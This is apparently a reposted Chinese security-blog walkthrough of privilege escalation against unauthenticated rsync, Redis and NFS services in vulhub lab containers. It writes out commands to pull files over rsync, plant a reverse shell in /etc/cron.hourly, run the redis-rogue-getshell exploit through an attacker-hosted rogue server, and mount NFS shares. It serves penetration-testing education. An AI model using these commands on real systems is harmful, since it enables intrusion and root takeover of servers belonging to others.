实战遇见到最多的第三方提权
2019-10-18 10:28:55 Author: xz.aliyun.com(查看原文) 阅读量:217 收藏

第一个 rsync (文件同步)配置文件在 /etc/rsynd.conf
第二个 redis (缓存服务)配置文件 /etc/redis.conf
第三个 nfs(文件共享)

Rsync

介绍:Rsync是linux下一款数据备份工具,默认开启873端口

git clone https://github.com/vulhub/vulhub.git
cd /path/to/vuln/
切换到相应目录下,这里是/vulhub/rsync/common
docker-compose build
docker-compose up -d

漏洞环境启动

因为rsync默认开放的是873端口
所以直接nmap扫描一波端口

可见漏洞环境没有问题,出现了873端口

我们先列出模板
rsync rsync://目标ip:873/
列出模块src下的文件
rsync rsync://目标ip:873/


可以看到目标机下的文件全部被列了出来
于是我们可以下载文件
我们就下载rsync下的配置文件/etc/rsynd.conf
rsync -av rsync://目标ip:873/src/etc/rsyncd.conf /root/1.conf

-v 打印更多的信息
-a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性

在自己本地查看文件内容

于是开始我们实验的重点;提权!!!
写入shell

赋予执行权限:chomd +x shell
将shell上传至/etc/cron.hourly

于是开启本地监听

但是在这里迟迟得不到响应。
后来知道原来是crontab配置文件的问题
下载crontab配置文件,并且查看


其中这里的17的意思是每小时的第17分钟执行run-parts --report /etc/cron.hourly命令。也就是说只有在17分钟时,才可以反弹shell.

那我们现在该干嘛呢?等?不可能的,这是测试,又不是实战.
啊啊啊啊啊啊!没找到办法,还是等吧。
Ps:第一次等了40分钟,结果我的shell,手误多打了个a

啊啊啊啊啊啊啊啊!
再等一个小时吧!
终于等到你,还好没有放弃。

redis

我们这里还是使用的是vulhub的靶机
首先先扫描下目标靶机


发现开放6379端口,说明可能存在redis未授权访问漏洞
这里我们直接使用网上的exp打```
https://github.com/vulhub/redis-rogue-getshell

```
命令如下:
git clone https://github.com/vulhub/redis-rogue-getshell
cd RedisModulesSDK/exp/
make
cd ../../
python3 redis-master.py -h


python3 redis-master.py -r 目标ip -p 6379 -L 攻击ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"


注:关于Redis 4.x/5.x RCE的介绍可以参考这篇文章
深入了解可以参考WCTF2019 Final分享会

NFS

NFS默认开放的是2049端口
关于NFS的主要执行命令如下:

  • showmount -e IP //查看主机的文件列表
  • mkdir /temp/ //在本地创建一个空的文件夹,例如/temp/
  • mount -t nfs 192.168.x.xxx:/ /temp -o nolock //将共享文件挂载到本地
  • cd /temp/ 于是在本地我们就可以自己查看文件了

文章来源: http://xz.aliyun.com/t/6544
如有侵权请联系:admin#unsafe.sh